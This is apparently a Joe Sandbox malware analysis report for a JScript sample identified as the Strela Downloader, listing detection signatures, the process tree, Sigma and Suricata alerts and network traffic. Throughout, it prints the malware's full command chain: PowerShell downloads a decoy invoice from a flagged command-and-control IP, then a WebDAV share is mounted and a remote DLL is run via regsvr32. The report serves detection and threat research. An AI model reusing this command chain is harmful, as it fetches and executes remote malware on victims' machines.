Edit tour

Windows Analysis Report
19165129872063820912.js

Overview

General Information

Sample name:	19165129872063820912.js
Analysis ID:	1589082
MD5:	9a36857b3db34f156e315515047dab6e
SHA1:	7ea6f0d3df18df88193907be3980cf062cb1b248
SHA256:	17fceffa58ec92b1d4a65fcd0ea1ac22c046cf4a4f2b0c08407f61c4b153e7d0
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6912 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7060 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6188 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5408 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1216 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7244 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1536,i,12068301054056956691,14228122358758454941,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5780 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6644 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5064 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6912	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7060, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6188, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7060, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6188, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", ProcessId: 6912, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6644, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6912, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, ProcessId: 7060, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6912, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, ProcessId: 7060, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6912, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, ProcessId: 7060, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6912, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, ProcessId: 7060, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6912, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, ProcessId: 7060, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", ProcessId: 6912, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7060, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6188, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5780, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6644, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5064, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5780, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6644, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6912, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll, ProcessId: 7060, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:20:10.810213+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49731	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:20:12.967164+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49732	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:20:10.810213+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 19165129872063820912.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 19165129872063820912.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 19165129872063820912.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49731 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49732 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:20:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 